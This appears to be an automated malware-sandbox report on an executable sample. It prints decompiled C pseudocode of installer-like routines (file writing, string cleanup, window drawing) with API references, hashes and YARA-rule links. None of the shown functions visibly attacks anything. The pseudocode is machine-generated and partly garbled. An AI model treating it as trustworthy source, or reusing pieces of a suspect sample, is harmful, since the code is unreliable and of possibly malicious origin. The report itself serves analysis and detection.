API String ID: 3772915668-1727408572
Opcode ID: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction ID: 243778ea09c2d6121d89995a0746b628a30f71b2b4e684d8516dd3187c24d480
Opcode Fuzzy Hash: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction Fuzzy Hash: 0E412032A05B067BE3207B619C48F6B3A5CEB40754F004436FD05F62D2EA38A8018ABE

Uniqueness

Uniqueness Score: -1.00%

Function 738624D8, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E738624D8(intOrPtr* _a4) {
				char _v80;
				int _v84;
				intOrPtr _v88;
				short _v92;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr _t31;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;
				void* _t48;

				_t44 = E73861215();
				_t28 = _a4;
				_t45 =  *((intOrPtr*)(_t28 + 0x814));
				_v88 = _t45;
				_t48 = (_t45 + 0x41 << 5) + _t28;
				do {
					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
					}
					_t43 =  *(_t48 - 8) & 0x000000ff;
					if(_t43 <= 7) {
						switch( *((intOrPtr*)(_t43 * 4 +  &M73862626))) {
							case 0:
								 *_t44 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									_v84 = __ecx;
									__ecx =  *(0x7386307c + __edx * 4);
									__edx = _v84;
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x7386309c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E73861429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x7386405c);
								goto L17;
							case 4:
								__ecx =  *0x7386405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x7386405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L17;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push(__ecx);
								_push( *__eax);
								" {*v@u*v"();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x7386405c, __ebx, __ebx);
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfA(__edi, 0x73864000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t30 =  *(_t48 + 0x14);
					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
						GlobalFree(_t30);
					}
					_t31 =  *((intOrPtr*)(_t48 + 0xc));
					if(_t31 != 0) {
						if(_t31 != 0xffffffff) {
							if(_t31 > 0) {
								E738612D1(_t31 - 1, _t44);
								goto L26;
							}
						} else {
							E73861266(_t44);
							L26:
						}
					}
					_v88 = _v88 - 1;
					_t48 = _t48 - 0x20;
				} while (_v88 >= 0);
				return GlobalFree(_t44);
			}

0x738624e4
0x738624e6
0x738624f0
0x738624f6
0x73862500
0x73862504
0x73862509
0x73862509
0x73862511
0x73862518
0x7386251e
0x00000000
0x73862525
0x00000000
0x00000000
0x7386252c
0x73862530
0x73862533
0x73862537
0x7386253e
0x73862542
0x73862548
0x7386254a
0x7386254c
0x7386254c
0x73862553
0x00000000
0x00000000
0x7386255c
0x00000000
0x00000000
0x7386256c
0x00000000
0x00000000
0x73862598
0x738625a0
0x738625aa
0x738625ac
0x738625b1
0x00000000
0x00000000
0x73862574
0x73862578
0x7386257a
0x7386257b
0x7386257d
0x7386258d
0x73862594
0x00000000
0x00000000
0x738625b7
0x738625b9
0x738625bf
0x738625c5
0x738625c5
0x00000000
0x00000000
0x7386251e
0x738625c8
0x738625c8
0x738625cd
0x738625de
0x738625de
0x738625e4
0x738625e9
0x738625ee
0x738625fa
0x738625ff
0x00000000
0x73862604
0x738625f0
0x738625f1
0x73862605
0x73862605
0x738625ee
0x73862606
0x7386260a
0x7386260d
0x73862625

APIs

Part of subcall function 73861215: GlobalAlloc.KERNELBASE(00000040,73861233,?,738612CF,-7386404B,738611AB,-000000A0), ref: 7386121D

GlobalFree.KERNEL32 ref: 738625DE
GlobalFree.KERNEL32 ref: 73862618

Strings

{*v@u*v, xrefs: 7386257D

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc
String ID: {*v@u*v
API String ID: 1780285237-3183337590
Opcode ID: c6e8d24d321f17b5e23094006832831f65ef954d07dfbf5546b79c563783b28f
Instruction ID: 135b93c982dcde7bdbba8bf2c42f16588a7fe31f22787e011740e199dba7e997
Opcode Fuzzy Hash: c6e8d24d321f17b5e23094006832831f65ef954d07dfbf5546b79c563783b28f
Instruction Fuzzy Hash: 0B411432504A08EFD316DF94CCA9F2E77BBEB85300B1445ADF6468B252D7319808CB63

Uniqueness

Uniqueness Score: -1.00%

Function 738622F1, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E738622F1(void* __edx, intOrPtr _a4) {
				signed int _v4;
				signed int _v8;
				void* _t38;
				signed int _t39;
				void* _t40;
				void* _t43;
				void* _t48;
				signed int* _t50;
				signed char* _t51;

				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t51 = (_v8 << 5) + _t9;
					_t38 = _t51[0x18];
					if(_t38 == 0) {
						goto L9;
					}
					_t48 = 0x1a;
					if(_t38 == _t48) {
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						if(_t38 <= 0 || _t38 > 0x19) {
							_t51[0x18] = _t48;
						} else {
							_t38 = E738612AD(_t38 - 1);
							L10:
						}
						goto L11;
					} else {
						_t38 = E7386123B();
						L11:
						_t43 = _t38;
						_t13 =  &(_t51[8]); // 0x820
						_t50 = _t13;
						if(_t51[4] >= 0) {
						}
						_t39 =  *_t51 & 0x000000ff;
						_t51[0x1c] = _t51[0x1c] & 0x00000000;
						_v4 = _t39;
						if(_t39 > 7) {
							L27:
							_t40 = GlobalFree(_t43);
							if(_v8 == 0) {
								return _t40;
							}
							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v8 = _v8 + 1;
							} else {
								_v8 = _v8 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t39 * 4 +  &M7386247E))) {
								case 0:
									 *_t50 =  *_t50 & 0x00000000;
									goto L27;
								case 1:
									__eax = E738612FE(__ebx);
									goto L20;
								case 2:
									 *__ebp = E738612FE(__ebx);
									_a4 = __edx;
									goto L27;
								case 3:
									__eax = E73861224(__ebx);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebp = __eax;
									goto L27;
								case 4:
									 *0x7386405c =  *0x7386405c +  *0x7386405c;
									__edi = GlobalAlloc(0x40,  *0x7386405c +  *0x7386405c);
									 *0x7386405c = MultiByteToWideChar(0, 0, __ebx,  *0x7386405c, __edi,  *0x7386405c);
									if(_v4 != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebp = __edi;
									} else {
										__eax = GlobalAlloc(0x40, 0x10);
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebp = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if( *__ebx != 0) {
										__eax = E738612FE(__ebx);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x7386405c;
									__esi = __esi +  *0x73864064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E73861429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t38 = E73861224(0x73864034);
					goto L10;
				}
			}

0x73862306
0x7386230a
0x73862315
0x73862315
0x7386231c
0x73862321
0x00000000
0x00000000
0x73862325
0x73862328
0x00000000
0x00000000
0x7386232d
0x73862338
0x73862348
0x7386233f
0x73862341
0x73862357
0x73862357
0x00000000
0x7386232f
0x7386232f
0x73862358
0x7386235c
0x7386235e
0x7386235e
0x73862361
0x73862361
0x73862369
0x7386236c
0x73862373
0x73862377
0x73862446
0x73862447
0x73862452
0x7386247d
0x7386247d
0x73862462
0x7386246e
0x73862464
0x73862464
0x73862464
0x00000000
0x7386237d
0x7386237d
0x00000000
0x73862384
0x00000000
0x00000000
0x7386238d
0x00000000
0x00000000
0x7386239b
0x7386239e
0x00000000
0x00000000
0x738623a7
0x738623ac
0x738623af
0x738623b0
0x00000000
0x00000000
0x738623bd
0x738623c8
0x738623d7
0x738623e2
0x73862405
0x73862408
0x738623e4
0x738623e8
0x738623ee
0x738623ef
0x738623f2
0x738623f3
0x738623f6
0x738623fd
0x738623fd
0x00000000
0x00000000
0x73862410
0x73862413
0x7386241f
0x73862421
0x00000000
0x00000000
0x73862424
0x73862427
0x73862428
0x7386242f
0x73862436
0x73862439
0x7386243b
0x7386243e
0x00000000
0x00000000
0x7386237d
0x73862377
0x7386234d
0x73862352
0x00000000
0x73862352

APIs

GlobalFree.KERNEL32 ref: 73862447

Part of subcall function 73861224: lstrcpynA.KERNEL32(00000000,?,738612CF,-7386404B,738611AB,-000000A0), ref: 73861234

GlobalAlloc.KERNEL32(00000040,?), ref: 738623C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 738623D7
GlobalAlloc.KERNEL32(00000040,00000010), ref: 738623E8
CLSIDFromString.OLE32(00000000,00000000), ref: 738623F6
GlobalFree.KERNEL32 ref: 738623FD

Strings

@u*v, xrefs: 738623F6

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID: @u*v
API String ID: 3730416702-1046951355
Opcode ID: c612c975daba229c5a37c0d9b1c8d1a672f0ae3f6ebb571ee7f961f15d4fef0e
Instruction ID: c7917a09354f9b0b8626f083075c7191551f715ed72a72a6151d81e44e9b4c4a
Opcode Fuzzy Hash: c612c975daba229c5a37c0d9b1c8d1a672f0ae3f6ebb571ee7f961f15d4fef0e
Instruction Fuzzy Hash: 9141A071508709EFE311DFA5C944B2AB7FAFB80311F14889AE54ADB2A3D7709644CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3F, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C3F(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040553D(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004054FB("*?|<>/\":", _t5))) == 0) {
							E00405675(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405c41
0x00405c49
0x00405c5d
0x00405c5d
0x00405c63
0x00405c70
0x00405c70
0x00405c71
0x00405c73
0x00405c77
0x00405c79
0x00405c82
0x00405c84
0x00405c9e
0x00405ca6
0x00405ca6
0x00405cab
0x00405cad
0x00405caf
0x00405cb3
0x00405cb4
0x00405cb7
0x00405cbf
0x00405cc1
0x00405cc5
0x00000000
0x00000000
0x00405ccb
0x00405cd0
0x00000000
0x00000000
0x00000000
0x00405cd0
0x00405cd5

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
CharPrevA.USER32(?,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C40, 00405C7B
*?|<>/":, xrefs: 00405C87
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 00405C45

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\US1pwXib6h.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4019486547
Opcode ID: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction ID: 6e21827f4117d195ccc2fee92ee9dbca2865e9be55a4e6ca6148cbd3e4a13511
Opcode Fuzzy Hash: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction Fuzzy Hash: F011905580CB942AFB3206384C48B776F99CB67764F58407BE8C4723C2D67C5C429B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403DF6, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403DF6(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403e08
0x00403e9c
0x00000000
0x00403e9c
0x00403e19
0x00403e1d
0x00000000
0x00000000
0x00403e23
0x00403e2c
0x00403e2f
0x00403e2f
0x00403e35
0x00403e3b
0x00403e3b
0x00403e47
0x00403e4d
0x00403e54
0x00403e57
0x00403e5a
0x00403e5c
0x00403e5c
0x00403e64
0x00403e6a
0x00403e6a
0x00403e74
0x00403e79
0x00403e7c
0x00403e81
0x00403e84
0x00403e84
0x00403e94
0x00403e94
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403E13
GetSysColor.USER32(00000000), ref: 00403E2F
SetTextColor.GDI32(?,00000000), ref: 00403E3B
SetBkMode.GDI32(?,?), ref: 00403E47
GetSysColor.USER32(?), ref: 00403E5A
SetBkColor.GDI32(?,?), ref: 00403E6A
DeleteObject.GDI32(?), ref: 00403E84
CreateBrushIndirect.GDI32(?), ref: 00403E8E

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 6c7fdd900eb09a88ca35fb2207b5deae9db7ec429e3ae93f4f07cdddb38981b8
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: 1F219671904744ABCB219F78DD08B4B7FF8AF00715F048A2AF856E22E1C338EA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040267C(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029F6(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E0040553D(_t52) == 0) {
					E004029F6(0xffffffed);
				}
				E00405695(_t52);
				_t27 = E004056B4(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423e94; // 0x8200
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E00403080(_t47);
						E0040304E(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402E5B( *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E00405675( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402E5B(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x0040267c
0x0040267e
0x0040268a
0x0040268d
0x00402697
0x0040269b
0x0040269b
0x004026a1
0x004026ae
0x004026b6
0x004026b9
0x004026bf
0x004026cd
0x004026d2
0x004026d6
0x004026d9
0x004026e2
0x004026ee
0x004026f2
0x004026f5
0x004026ff
0x0040271e
0x00402706
0x0040270b
0x00402713
0x00402716
0x0040271b
0x0040271b
0x00402725
0x00402725
0x00402737
0x0040273e
0x00402750
0x00402750
0x00402756
0x00402756
0x00402761
0x00402762
0x00402766
0x0040276a
0x00402770
0x00402770
0x00402777
0x00402164
0x0040288e
0x0040289a

APIs

GlobalAlloc.KERNEL32(00000040,00008200,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction ID: 12be5ee7c0a04460072f4a22dab7179149aa53ae67e7a866020ad89d1ba75591
Opcode Fuzzy Hash: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction Fuzzy Hash: 5831C071C00128BBDF216FA5CD88EAE7E79EF04368F10423AF524762E0C7795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7B, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D7B(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423664; // 0x0
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423f34; // 0x0
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E004059FF(0, _t39, 0x41fc50, 0x41fc50, _a4);
					}
					_t26 = lstrlenA(0x41fc50);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423648, 0x41fc50);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fc50;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fc50)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fc50, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404d81
0x00404d8d
0x00404d90
0x00404d96
0x00404da2
0x00404da5
0x00404da8
0x00404dae
0x00404dae
0x00404db4
0x00404dbc
0x00404dbf
0x00404ddc
0x00404de0
0x00404de9
0x00404de9
0x00404df3
0x00404dfc
0x00404e08
0x00404e0f
0x00404e13
0x00404e16
0x00404e29
0x00404e37
0x00404e37
0x00404e3b
0x00404e3d
0x00404e40
0x00000000
0x00404e40
0x00404dc1
0x00404dc9
0x00404dd1
0x00404dd7
0x00000000
0x00404dd7
0x00404dd1
0x00404dbf
0x00404e4a

APIs

lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction ID: 7f48be0438031ac4014e4461c76190d89e96d247d5b12388d0b77bfdc4e74ae1
Opcode Fuzzy Hash: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction Fuzzy Hash: 09216DB1E00158BBDB119FA5CD84ADEBFB9FF45354F14807AFA04B6290C7398A419B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040464A, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040464A(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404658
0x00404665
0x0040466b
0x004046a9
0x004046a9
0x004046b8
0x004046bf
0x00000000
0x004046c1
0x0040466d
0x0040467c
0x00404684
0x00404687
0x00404699
0x0040469f
0x004046a6
0x00000000
0x004046a6
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404665
GetMessagePos.USER32 ref: 0040466D
ScreenToClient.USER32 ref: 00404687
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404699
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004046BF

Strings

f, xrefs: 0040469B

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 811e074b116e6ce6d11e192741490be2760717d42b69e64a674173994bb84636
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 4E014C71D00219BADB00DBA4DC85FFEBBB8AB59711F10052ABA00B61D0D7B8A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule
